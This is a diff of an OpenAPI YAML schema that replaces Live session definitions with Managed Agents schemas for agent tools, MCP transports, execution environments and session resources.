+ environment_connection: '#/components/schemas/SessionRequiredActionResourceEnvironmentConnection'
+ x-oai-discriminator-values:
+ - function_call
+ - environment_connection
anyOf:
- - description: Who handles tasks delegated by the Live model. Omitted or null selects your application; use `responses` to let the API manage a Responses backend.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/LiveClientDelegationParam'
- - $ref: '#/components/schemas/LiveResponsesDelegationParam'
- - type: 'null'
- store:
- description: Whether to store the session for later forking and recording download. Defaults to false for new sessions.
- type: boolean
- LiveInitialMessageStatus:
- type: string
- enum:
- - incomplete
- - completed
- LiveInitialInputTextContentPartParam:
- description: Text supplied in a developer or user message when starting a Live session.
+ - $ref: '#/components/schemas/SessionRequiredActionResourceFunctionCall'
+ - $ref: '#/components/schemas/SessionRequiredActionResourceEnvironmentConnection'
+ AgentToolResourceFunction:
type: object
properties:
type:
- description: The text content type. Always `input_text`.
- default: input_text
- x-stainless-const: true
type: string
enum:
- - input_text
- text:
- description: The message text to include in the Live session’s initial conversation history.
+ - function
+ default: function
+ x-stainless-const: true
+ description: The type of the object. Always `function`.
+ name:
+ type: string
+ minLength: 0
+ description: The name of the function.
+ description:
type: string
+ minLength: 0
+ description: A description of what the function does.
+ parameters:
+ type: object
+ additionalProperties: {}
+ propertyNames:
+ type: string
+ minLength: 0
+ minProperties: 0
+ description: A JSON Schema object describing the function's arguments.
+ defer_loading:
+ type: boolean
+ description: Whether the function is deferred and discovered through tool search.
required:
- - text
- LiveInitialDeveloperMessageItemParam:
- description: A developer message included in the initial text history of a Live session.
+ - type
+ - name
+ - description
+ - parameters
+ - defer_loading
+ additionalProperties: false
+ description: A function defined by the application.
+ AgentToolResourceProgrammaticToolCalling:
type: object
properties:
- id:
- anyOf:
- - description: An optional identifier for the supplied history message. Live uses the message’s role and text to initialize the conversation.
- type: string
- - type: 'null'
type:
- description: The history item type. Always `message`.
- default: message
+ type: string
+ enum:
+ - programmatic_tool_calling
+ default: programmatic_tool_calling
x-stainless-const: true
+ description: The type of the object. Always `programmatic_tool_calling`.
+ enabled:
+ type: boolean
+ description: Whether tools can be called from model-generated code.
+ required:
+ - type
+ - enabled
+ additionalProperties: false
+ description: Enables calling tools from model-generated code.
+ McpTransportResourceHttp:
+ type: object
+ properties:
+ type:
type: string
enum:
- - message
- status:
- anyOf:
- - description: The supplied message’s status. Live uses its text as history and does not resume an incomplete message.
- $ref: '#/components/schemas/LiveInitialMessageStatus'
- - type: 'null'
- role:
- description: The author of this history message. Always `developer`.
- default: developer
+ - http
+ default: http
x-stainless-const: true
+ description: The type of the object. Always `http`.
+ server_url:
+ type: string
+ minLength: 0
+ description: The URL of the MCP server.
+ required:
+ - type
+ - server_url
+ additionalProperties: false
+ description: Connects to an MCP server over HTTP.
+ McpTransportResourceStdio:
+ type: object
+ properties:
+ type:
type: string
enum:
- - developer
- content:
- description: The message content. Supply exactly one text part for the initial Live conversation history.
+ - stdio
+ default: stdio
+ x-stainless-const: true
+ description: The type of the object. Always `stdio`.
+ command:
+ type: string
+ minLength: 0
+ description: The command used to start the MCP server.
+ args:
type: array
items:
- $ref: '#/components/schemas/LiveInitialInputTextContentPartParam'
- minItems: 1
- maxItems: 1
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: Arguments passed to the MCP server command.
+ cwd:
+ type: string
+ minLength: 0
+ description: The working directory used to start the MCP server.
+ env_vars:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: Environment variable names inherited from the execution environment.
required:
- - role
- - content
- LiveInitialUserMessageItemParam:
- description: A user message included in the initial text history of a Live session.
+ - type
+ - command
+ - args
+ - cwd
+ - env_vars
+ additionalProperties: false
+ description: Starts an MCP server as a local process.
+ McpTransportResource:
+ description: The transport used to connect to an MCP server.
+ discriminator:
+ propertyName: type
+ mapping:
+ http: '#/components/schemas/McpTransportResourceHttp'
+ stdio: '#/components/schemas/McpTransportResourceStdio'
+ x-oai-discriminator-values:
+ - http
+ - stdio
+ anyOf:
+ - $ref: '#/components/schemas/McpTransportResourceHttp'
+ - $ref: '#/components/schemas/McpTransportResourceStdio'
+ AgentToolResourceMcp:
type: object
properties:
- id:
- anyOf:
- - description: An optional identifier for the supplied history message. Live uses the message’s role and text to initialize the conversation.
- type: string
- - type: 'null'
type:
- description: The history item type. Always `message`.
- default: message
- x-stainless-const: true
type: string
enum:
- - message
- status:
- anyOf:
- - description: The supplied message’s status. Live uses its text as history and does not resume an incomplete message.
- $ref: '#/components/schemas/LiveInitialMessageStatus'
- - type: 'null'
- role:
- description: The author of this history message. Always `user`.
- default: user
+ - mcp
+ default: mcp
x-stainless-const: true
+ description: The type of the object. Always `mcp`.
+ server_label:
type: string
- enum:
- - user
- content:
- description: The message content. Supply exactly one text part for the initial Live conversation history.
- type: array
+ minLength: 0
+ description: A label used to identify the MCP server in tool calls.
+ credential_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The attached vault credential selected for this MCP server, if any. Optional when exactly one attached credential matches the server URL.
+ transport:
+ $ref: '#/components/schemas/McpTransportResource'
+ description: The transport used to connect to the MCP server.
+ request_metadata:
+ type: object
+ additionalProperties: {}
+ propertyNames:
+ type: string
+ minLength: 0
+ minProperties: 0
+ description: Metadata included with requests to this MCP server.
+ allowed_tools:
+ type:
+ - array
+ - 'null'
items:
- $ref: '#/components/schemas/LiveInitialInputTextContentPartParam'
- minItems: 1
- maxItems: 1
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: The MCP tools the agent may call.
+ required:
+ type: boolean
+ description: Whether this MCP server must initialize before the first turn.
+ connection_origin:
+ $ref: '#/components/schemas/McpConnectionOriginResource'
+ description: Where outbound MCP HTTP connections originate.
required:
- - role
- - content
- LiveInitialTextContentPartParam:
- description: Assistant text supplied as conversation history when starting a Live session.
+ - type
+ - server_label
+ - credential_id
+ - transport
+ - request_metadata
+ - allowed_tools
+ - required
+ - connection_origin
+ additionalProperties: false
+ description: Tools provided by a remote MCP server.
+ AgentToolResourceWebSearch:
type: object
properties:
type:
- description: The text content type. Always `text`.
- default: text
- x-stainless-const: true
type: string
enum:
- - text
- text:
- description: The message text to include in the Live session’s initial conversation history.
+ - web_search
+ default: web_search
+ x-stainless-const: true
+ description: The type of the object. Always `web_search`.
+ mode:
+ $ref: '#/components/schemas/WebSearchModeResource'
+ description: The source used for web search results.
+ context_size:
+ $ref: '#/components/schemas/WebSearchContextSizeResource'
+ description: The amount of search context made available to the model. Defaults to `medium`.
+ allowed_domains:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: Allowed search domains, or `null` when the search is unrestricted.
+ location:
+ anyOf:
+ - $ref: '#/components/schemas/WebSearchLocationResource'
+ - type: 'null'
+ description: Approximate location used to localize search results, if provided.
+ required:
+ - type
+ - mode
+ - context_size
+ - allowed_domains
+ - location
+ additionalProperties: false
+ description: Web search.
+ AgentToolResource:
+ description: A tool available to the agent.
+ discriminator:
+ propertyName: type
+ mapping:
+ function: '#/components/schemas/AgentToolResourceFunction'
+ programmatic_tool_calling: '#/components/schemas/AgentToolResourceProgrammaticToolCalling'
+ mcp: '#/components/schemas/AgentToolResourceMcp'
+ web_search: '#/components/schemas/AgentToolResourceWebSearch'
+ x-oai-discriminator-values:
+ - function
+ - programmatic_tool_calling
+ - mcp
+ - web_search
+ anyOf:
+ - $ref: '#/components/schemas/AgentToolResourceFunction'
+ - $ref: '#/components/schemas/AgentToolResourceProgrammaticToolCalling'
+ - $ref: '#/components/schemas/AgentToolResourceMcp'
+ - $ref: '#/components/schemas/AgentToolResourceWebSearch'
+ SessionAgentResource:
+ type: object
+ properties:
+ id:
+ type: string
+ minLength: 0
+ description: The ID of the agent.
+ name:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The reusable agent's name when the session was created, or null if no name was saved. Later changes to the agent's name do not affect this value.
+ model:
type: string
+ minLength: 0
+ description: The model used by the agent.
+ reasoning:
+ $ref: '#/components/schemas/ReasoningResource'
+ description: The agent's reasoning configuration.
+ text:
+ $ref: '#/components/schemas/TextResource'
+ description: Configuration for text generated by the agent.
+ service_tier:
+ $ref: '#/components/schemas/ServiceTierResource'
+ description: The effective service-tier policy for model requests. Defaults to `auto`.
+ instructions:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: Custom instructions appended to the agent's default base instructions.
+ tools:
+ type: array
+ items:
+ $ref: '#/components/schemas/AgentToolResource'
+ minItems: 0
+ maxItems: 2000
+ description: Tools available to the agent.
+ multi_agent:
+ $ref: '#/components/schemas/MultiAgentConfigResource'
+ description: Configuration for creating and coordinating subagents.
required:
+ - id
+ - name
+ - model
+ - reasoning
- text
- LiveInitialOutputTextContentPartParam:
- description: Assistant output text supplied as conversation history when starting a Live session.
+ - service_tier
+ - instructions
+ - tools
+ - multi_agent
+ additionalProperties: false
+ description: The effective agent configuration for a session.
+ EnvironmentResourceNone:
type: object
properties:
type:
- description: The text content type. Always `output_text`.
- default: output_text
- x-stainless-const: true
type: string
enum:
- - output_text
- text:
- description: The message text to include in the Live session’s initial conversation history.
- type: string
+ - none
+ default: none
+ x-stainless-const: true
+ description: The type of the object. Always `none`.
required:
- type
- - text
- LiveInitialAssistantMessageItemParam:
- description: An assistant message included in the initial text history of a Live session.
+ additionalProperties: false
+ description: The session talks to CCA without selecting or provisioning an execution environment.
+ EnvironmentResourceOpenaiHosted:
type: object
properties:
- id:
- anyOf:
- - description: An optional identifier for the supplied history message. Live uses the message’s role and text to initialize the conversation.
- type: string
- - type: 'null'
type:
- description: The history item type. Always `message`.
- default: message
- x-stainless-const: true
type: string
enum:
- - message
- status:
- anyOf:
- - description: The supplied message’s status. Live uses its text as history and does not resume an incomplete message.
- $ref: '#/components/schemas/LiveInitialMessageStatus'
- - type: 'null'
- role:
- description: The author of this history message. Always `assistant`.
- default: assistant
+ - openai_hosted
+ default: openai_hosted
x-stainless-const: true
+ description: The type of the object. Always `openai_hosted`.
+ id:
type: string
- enum:
- - assistant
- content:
- description: The message content. Supply exactly one text part for the initial Live conversation history.
+ minLength: 0
+ description: The public ID of the environment.
+ packages:
+ $ref: '#/components/schemas/EnvironmentPackagesResource'
+ description: Packages installed in the environment.
+ network:
+ $ref: '#/components/schemas/NetworkPolicyResource'
+ description: The effective network access policy for the environment.
+ capability_directories:
type: array
items:
- discriminator:
- propertyName: type
- x-oai-default-discriminator-value: text
- anyOf:
- - $ref: '#/components/schemas/LiveInitialTextContentPartParam'
- - $ref: '#/components/schemas/LiveInitialOutputTextContentPartParam'
- minItems: 1
- maxItems: 1
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: Directories that contain capabilities exposed to the agent.
+ skills:
+ type: array
+ items:
+ $ref: '#/components/schemas/HostedSkillResource'
+ minItems: 0
+ maxItems: 2000
+ description: Skills installed in the environment, excluding their archive contents.
+ plugins:
+ type: array
+ items:
+ $ref: '#/components/schemas/HostedPluginResource'
+ minItems: 0
+ maxItems: 2000
+ description: Plugins installed in the environment, excluding their archive contents.
+ files:
+ type: array
+ items:
+ $ref: '#/components/schemas/HostedEnvironmentFileResource'
+ minItems: 0
+ maxItems: 50
+ description: Files available in the environment, excluding their contents.
required:
- - role
- - content
- LiveInitialItem:
- description: A developer, user, or assistant message supplied as text history before the Live session starts.
- discriminator:
- propertyName: role
- anyOf:
- - $ref: '#/components/schemas/LiveInitialDeveloperMessageItemParam'
- - $ref: '#/components/schemas/LiveInitialUserMessageItemParam'
- - $ref: '#/components/schemas/LiveInitialAssistantMessageItemParam'
- input:
- description: Ordered text-only history supplied before startup. Supports developer, user, and assistant messages with one text part each; at most 128 messages and 8,192 rendered tokens in total.
- type: array
- items:
- $ref: '#/components/schemas/LiveInitialItem'
- maxItems: 128
- LiveAllowedServerEventParam:
- description: A Live server event selector for the WebRTC frontend data channel.
- example:
- type: session.started
+ - type
+ - id
+ - packages
+ - network
+ - capability_directories
+ - skills
+ - plugins
+ - files
+ additionalProperties: false
+ description: An environment hosted by OpenAI.
+ EnvironmentResourceSelfHosted:
type: object
properties:
type:
- description: The outer Live server event type. Use 'response.event' for Responses events.
type: string
- minLength: 1
- maxLength: 256
- response_event:
- description: The nested Responses event type. Required when type is 'response.event'; forbidden for other event types.
+ enum:
+ - self_hosted
+ default: self_hosted
+ x-stainless-const: true
+ description: The type of the object. Always `self_hosted`.
+ remote_url:
type: string
- minLength: 1
- maxLength: 256
+ minLength: 0
+ description: Pass this URL unchanged to `codex exec-server --remote` when connecting this environment.
+ id:
+ type: string
+ minLength: 0
+ description: The public ID of the environment.
+ workspace_directory:
+ type: string
+ minLength: 0
+ description: The absolute project directory inside the environment. Defaults to `/workspace`.
+ capability_directories:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: Directories that contain capabilities exposed to the agent.
required:
- type
+ - remote_url
+ - id
+ - workspace_directory
+ - capability_directories
additionalProperties: false
- x-oaiMeta:
- example:
- type: session.started
- LiveDataChannelConfigParam:
- description: Control which Live events an untrusted WebRTC frontend can send and receive over its data channel. These restrictions do not apply to trusted sideband connections.
+ description: An environment hosted by the application.
+ EnvironmentResource:
+ description: The execution environment for a session.
+ discriminator:
+ propertyName: type
+ mapping:
+ none: '#/components/schemas/EnvironmentResourceNone'
+ openai_hosted: '#/components/schemas/EnvironmentResourceOpenaiHosted'
+ self_hosted: '#/components/schemas/EnvironmentResourceSelfHosted'
+ x-oai-discriminator-values:
+ - none
+ - openai_hosted
+ - self_hosted
+ anyOf:
+ - $ref: '#/components/schemas/EnvironmentResourceNone'
+ - $ref: '#/components/schemas/EnvironmentResourceOpenaiHosted'
+ - $ref: '#/components/schemas/EnvironmentResourceSelfHosted'
+ SessionResource:
type: object
properties:
- allowed_client_events:
- description: Client event types that the frontend data channel may send. Use 'all' to allow every client event; an empty array allows none. Omission preserves the existing allow-all behavior.
- anyOf:
- - default: all
- x-stainless-const: true
+ metadata:
+ type: object
+ additionalProperties:
type: string
- enum:
- - all
- - type: array
- items:
- description: A Live client event type allowed on the frontend data channel, such as `session.input_audio.mute`.
- type: string
- minLength: 1
- maxLength: 256
- pattern: ^(?:error|info|[a-z][a-z0-9_-]*(?:\.[a-z0-9_-]+)+)$
- maxItems: 256
- allowed_server_events:
- description: Server events that may be sent to the frontend data channel. Use 'all' to allow every server event; an empty array allows none. Omission preserves the existing allow-all behavior. Responses events use an object with type 'response.event' and a response_event selector.
- anyOf:
- - default: all
- x-stainless-const: true
+ minLength: 0
+ propertyNames:
type: string
- enum:
- - all
- - type: array
- items:
- $ref: '#/components/schemas/LiveAllowedServerEventParam'
- maxItems: 256
- x-stainless-variantName: event_selectors
- required: []
- LiveClientConfigParam:
- description: Startup-only capabilities for an untrusted frontend attached to a unified WebRTC session. Trusted sideband connections are unaffected.
- type: object
- properties:
- data_channel:
- description: Client and server event permissions for the WebRTC frontend data channel.
- $ref: '#/components/schemas/LiveDataChannelConfigParam'
- required:
- - data_channel
- properties-store:
- description: Whether to store the forked session. Omission inherits the stored session's setting.
- type: boolean
- LiveResponsesDelegationSettingsUpdateInputParam:
- description: Updates to the Responses backend of an existing Live session. Omitted settings retain their current values.
- type: object
- properties:
- model:
- description: The Responses backend model to use for subsequent delegated requests. Omit to keep the current backend model.
+ minLength: 0
+ minProperties: 0
+ description: Custom string key-value pairs attached to the session.
+ id:
type: string
- instructions:
- anyOf:
- - description: Instructions for the delegated Responses model, separate from Live instructions. See [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
- type: string
- - type: 'null'
- max_output_tokens:
- anyOf:
- - description: Maximum number of output tokens for each delegated response.
- type: integer
- minimum: 16
- - type: 'null'
- service_tier:
- anyOf:
- - description: Service tier for delegated Responses requests.
- $ref: '#/components/schemas/LiveResponsesServiceTier'
- - type: 'null'
- reasoning:
- anyOf:
- - description: Reasoning settings passed to each delegated Responses request.
- $ref: '#/components/schemas/LiveDelegationReasoningInputParam'
- - type: 'null'
- text:
- anyOf:
- - description: Text generation settings passed to each delegated Responses request.
- $ref: '#/components/schemas/LiveDelegationTextInputParam'
- - type: 'null'
- tools:
- description: Tools available to the Responses backend while it handles tasks delegated by the Live model.
+ minLength: 0
+ description: The ID of the session.
+ object:
+ type: string
+ enum:
+ - agent.session
+ default: agent.session
+ x-stainless-const: true
+ description: The object type. Always `agent.session`.
+ created_at:
+ type: integer
+ format: int64
+ description: The Unix timestamp, in seconds, when the session was created.
+ last_active_at:
+ type: integer
+ format: int64
+ description: The Unix timestamp, in seconds, when the session was last active.
+ status:
+ $ref: '#/components/schemas/SessionStatusResource'
+ description: The current status of the session.
+ required_actions:
type: array
items:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/LiveFunctionToolInputParam'
- - $ref: '#/components/schemas/LiveWebSearchToolInputParam'
- tool_choice:
- description: Controls which tool the Responses backend uses when handling a task delegated by the Live model.
- anyOf:
- - $ref: '#/components/schemas/LiveToolChoiceEnum'
- - $ref: '#/components/schemas/LiveFunctionToolChoiceParam'
- - $ref: '#/components/schemas/LiveMCPToolChoiceParam'
- parallel_tool_calls:
+ $ref: '#/components/schemas/SessionRequiredActionResource'
+ minItems: 0
+ maxItems: 2000
+ description: Actions that must be completed before the session can continue.
+ error:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The error that caused the session to fail, if any.
+ agent:
+ $ref: '#/components/schemas/SessionAgentResource'
+ description: The agent running in the session.
+ environment:
+ $ref: '#/components/schemas/EnvironmentResource'
+ description: The execution environment for the session.
+ vault_ids:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: The IDs of vaults made available to the session.
+ usage:
anyOf:
- - description: Whether the delegated Responses model may request multiple tool calls in a single response.
- type: boolean
+ - $ref: '#/components/schemas/TokenUsageResource'
- type: 'null'
- required: []
- LiveResponsesDelegationUpdateParam:
- description: Update the Responses backend for an existing Live session without changing delegation ownership.
+ description: Best-effort token usage for the session, or null if unknown. Recorded usage may change.
+ required:
+ - metadata
+ - id
+ - object
+ - created_at
+ - last_active_at
+ - status
+ - required_actions
+ - error
+ - agent
+ - environment
+ - vault_ids
+ - usage
+ additionalProperties: false
+ description: A Managed Agents session.
+ SessionListResource:
type: object
properties:
- type:
- description: The delegation owner. Always `responses` for tasks handled by the Responses API.
- default: responses
- x-stainless-const: true
+ object:
type: string
enum:
- - responses
- responses:
- description: Responses backend settings to update. Omitted settings keep their existing values.
- $ref: '#/components/schemas/LiveResponsesDelegationSettingsUpdateInputParam'
+ - list
+ default: list
+ x-stainless-const: true
+ description: The object type, which is always `list`.
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/SessionResource'
+ minItems: 0
+ maxItems: 2000
+ description: The resources returned in this page, in the requested sort order.
+ first_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the first resource in `data`, or `null` if the page is empty.
+ last_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the last resource in `data`, or `null` if the page is empty. Pass this as `after` with the same order and filters.
+ has_more:
+ type: boolean
+ description: Whether there are more resources to retrieve after this page.
required:
- - type
- target_uri:
- type: string
- description: |-
- URI that should appear in the SIP Refer-To header. Supports values like
- `tel:+14155550123` or `sip:agent@example.com`.
- example: tel:+14155550123
- PublicProjectResidency:
- type: string
- enum:
- - GLOBAL
- - US_STORAGE_PROCESSING
- - EU_STORAGE_PROCESSING
- - JP_STORAGE
- - KR_STORAGE
- - CA_STORAGE
- - SG_STORAGE
- - IN_STORAGE
- - AU_STORAGE
- - GB_STORAGE
- - AE_STORAGE
- - AE_STORAGE_PROCESSING
- SpecificProgrammaticToolCallingParam:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ additionalProperties: false
+ description: A page of Agents API resources, with IDs for retrieving additional pages.
+ AgentToolConfigParamFunction:
+ type: object
properties:
type:
type: string
enum:
- - programmatic_tool_calling
- description: The tool to call. Always `programmatic_tool_calling`.
- default: programmatic_tool_calling
+ - function
+ default: function
x-stainless-const: true
- type: object
+ description: The type of the object. Always `function`.
+ name:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The name of the function.
+ description:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: A description of what the function does.
+ parameters:
+ type: object
+ additionalProperties: {}
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: A JSON Schema object describing the function's arguments.
+ defer_loading:
+ type: boolean
+ default: false
+ description: Whether this function is deferred and discovered through tool search. Defaults to `false`.
required:
- type
- SpecificApplyPatchParam:
+ - name
+ - description
+ - parameters
+ additionalProperties: false
+ description: A function defined by the application.
+ AgentToolConfigParamToolSearch:
+ type: object
properties:
type:
type: string
enum:
- - apply_patch
- description: The tool to call. Always `apply_patch`.
- default: apply_patch
+ - tool_search
+ default: tool_search
x-stainless-const: true
- type: object
+ description: The type of the object. Always `tool_search`.
required:
- type
- title: Specific apply patch tool choice
- description: Forces the model to call the apply_patch tool when executing a tool call.
- SpecificFunctionShellParam:
+ additionalProperties: false
+ description: Discovers deferred function tools and loads them into the model context.
+ AgentToolConfigParamProgrammaticToolCalling:
+ type: object
properties:
type:
type: string
enum:
- - shell
- description: The tool to call. Always `shell`.
- default: shell
+ - programmatic_tool_calling
+ default: programmatic_tool_calling
x-stainless-const: true
- type: object
+ description: The type of the object. Always `programmatic_tool_calling`.
+ enabled:
+ type: boolean
+ default: true
+ description: Whether tools can be called from model-generated code. Defaults to `true`.
required:
- type
- title: Specific shell tool choice
- description: Forces the model to call the shell tool when a tool call is required.
- ResponsePromptCacheOptionsParam:
- properties:
- ttl:
- $ref: '#/components/schemas/PromptCacheTTLEnum'
- description: The minimum lifetime applied to every implicit and explicit cache breakpoint written by the request. Defaults to `30m`, which is currently the only supported value. The backend may retain cache entries for longer.
- mode:
- $ref: '#/components/schemas/PromptCacheModeEnum'
- description: Controls whether OpenAI automatically creates an implicit cache breakpoint. Defaults to `implicit`. With `implicit`, OpenAI creates one implicit breakpoint and writes up to the latest three explicit breakpoints in the request. With `explicit`, OpenAI does not create an implicit breakpoint and writes up to the latest four explicit breakpoints. If there are no explicit breakpoints, the request does not use prompt caching.
- comparison_response_id:
- anyOf:
- - type: string
- description: The ID of a response to compare when diagnosing prompt cache reuse. Supplying this field requests prompt cache diagnostics when the feature is enabled.
- example: resp_123
- - type: 'null'
- type: object
- required: []
- title: Prompt cache options
- description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
- ReasoningModeEnum:
- anyOf:
- - type: string
- - type: string
- enum:
- - standard
- - pro
- ConversationParam-2:
- properties:
- id:
- type: string
- description: The unique ID of the conversation.
- example: conv_123
+ additionalProperties: false
+ description: Enables calling tools from model-generated code.
+ McpTransportConfigParamHttp:
type: object
- required:
- - id
- title: Conversation object
- description: The conversation that this response belongs to.
- ContextManagementParam:
properties:
type:
type: string
- description: The context management entry type. Currently only 'compaction' is supported.
- compact_threshold:
- anyOf:
- - type: integer
- minimum: 1000
- description: Token threshold at which compaction should be triggered for this entry.
- - type: 'null'
- type: object
+ enum:
+ - http
+ default: http
+ x-stainless-const: true
+ description: The type of the object. Always `http`.
+ server_url:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The URL of the MCP server.
+ authorization:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The authorization value sent to the MCP server, if any.
+ headers:
+ type:
+ - object
+ - 'null'
+ additionalProperties:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: Additional HTTP headers sent to the MCP server.
required:
- type
- PromptCacheOptions:
- properties:
- ttl:
- $ref: '#/components/schemas/PromptCacheTTLEnum'
- description: The minimum lifetime applied to each cache breakpoint.
- mode:
- $ref: '#/components/schemas/PromptCacheModeEnum'
- description: Whether implicit prompt-cache breakpoints were enabled.
- comparison_response_id:
- anyOf:
- - type: string
- description: The response ID supplied as the prompt cache diagnostics comparison.
- - type: 'null'
+ - server_url
+ additionalProperties: false
+ description: Connects to an MCP server over HTTP.
+ McpTransportConfigParamStdio:
type: object
- required:
- - ttl
- - mode
- title: Prompt cache options
- description: The prompt-caching options that were applied to the response. Supported for `gpt-5.6` and later models.
- CacheMissReasonTypeEnum:
- type: string
- enum:
- - model_changed
- - prompt_cache_key_changed
- - tools_changed
- - text_format_changed
- - reasoning_effort_changed
- - verbosity_changed
- - context_compacted
- - input_changed
- - service_tier_changed
- PromptCacheMissDiagnosticsBody:
properties:
type:
type: string
enum:
- - cache_miss
- default: cache_miss
+ - stdio
+ default: stdio
x-stainless-const: true
- reason:
- $ref: '#/components/schemas/CacheMissReasonTypeEnum'
- description: The reason prompt cache reuse did not occur.
- cache_missed_tokens:
- type: integer
- description: The estimated number of input tokens affected after the first detected divergence.
- comparison_reusable_tokens:
- type: integer
- description: The raw token count of the reusable prefix in the compared response.
- type: object
+ description: The type of the object. Always `stdio`.
+ command:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The command used to start the MCP server.
+ args:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Arguments passed to the MCP server command.
+ cwd:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The working directory used to start the MCP server.
+ env:
+ type:
+ - object
+ - 'null'
+ additionalProperties:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: Environment variables set for the MCP server process.
+ env_vars:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Environment variable names to inherit from the selected execution environment.
required:
- type
- - reason
- - cache_missed_tokens
- PromptCacheHitDiagnosticsBody:
+ - command
+ - cwd
+ additionalProperties: false
+ description: Starts an MCP server as a local process.
+ McpTransportConfigParam:
+ description: The transport used to connect to an MCP server.
+ discriminator:
+ propertyName: type
+ mapping:
+ http: '#/components/schemas/McpTransportConfigParamHttp'
+ stdio: '#/components/schemas/McpTransportConfigParamStdio'
+ x-oai-discriminator-values:
+ - http
+ - stdio
+ anyOf:
+ - $ref: '#/components/schemas/McpTransportConfigParamHttp'
+ - $ref: '#/components/schemas/McpTransportConfigParamStdio'
+ AgentToolConfigParamMcp:
+ type: object
properties:
type:
type: string
enum:
- - cache_hit
- default: cache_hit
+ - mcp
+ default: mcp
x-stainless-const: true
- type: object
+ description: The type of the object. Always `mcp`.
+ server_label:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: A label used to identify the MCP server in tool calls.
+ credential_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The attached vault credential used to authenticate this MCP server. Optional when exactly one attached credential matches the server URL.
+ transport:
+ $ref: '#/components/schemas/McpTransportConfigParam'
+ description: The transport used to connect to the MCP server.
+ request_metadata:
+ type:
+ - object
+ - 'null'
+ additionalProperties: {}
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: Metadata included with requests to this MCP server.
+ allowed_tools:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: The MCP tools the agent may call. All server tools are allowed when omitted.
+ required:
+ type: boolean
+ default: false
+ description: Whether this MCP server must initialize before the first turn. Defaults to `false`.
+ connection_origin:
+ anyOf:
+ - $ref: '#/components/schemas/McpConnectionOriginParam'
+ - type: 'null'
+ description: Selects where outbound MCP HTTP connections originate. Omitted or `service` uses the Managed Agents service network; `environment` uses the session's selected environment.
required:
- type
- PromptCacheComparisonResponseNotFoundDiagnosticsBody:
+ - server_label
+ - transport
+ additionalProperties: false
+ description: Tools provided by a remote MCP server.
+ AgentToolConfigParamWebSearch:
+ type: object
properties:
type:
type: string
enum:
- - comparison_response_not_found
- default: comparison_response_not_found
+ - web_search
+ default: web_search
x-stainless-const: true
- type: object
+ description: The type of the object. Always `web_search`.
+ mode:
+ anyOf:
+ - $ref: '#/components/schemas/WebSearchModeParam'
+ - type: 'null'
+ description: The source used for web search results. Defaults to `live`.
+ context_size:
+ anyOf:
+ - $ref: '#/components/schemas/WebSearchContextSizeParam'
+ - type: 'null'
+ description: The amount of search context made available to the model. Defaults to `medium`.
+ allowed_domains:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Domains the search may include.
+ location:
+ anyOf:
+ - $ref: '#/components/schemas/WebSearchLocationParam'
+ - type: 'null'
+ description: Approximate location used to localize search results.
required:
- type
- PromptCacheUnavailableDiagnosticsBody:
+ additionalProperties: false
+ description: Web search.
+ AgentToolConfigParam:
+ description: A tool available to the agent.
+ discriminator:
+ propertyName: type
+ mapping:
+ function: '#/components/schemas/AgentToolConfigParamFunction'
+ tool_search: '#/components/schemas/AgentToolConfigParamToolSearch'
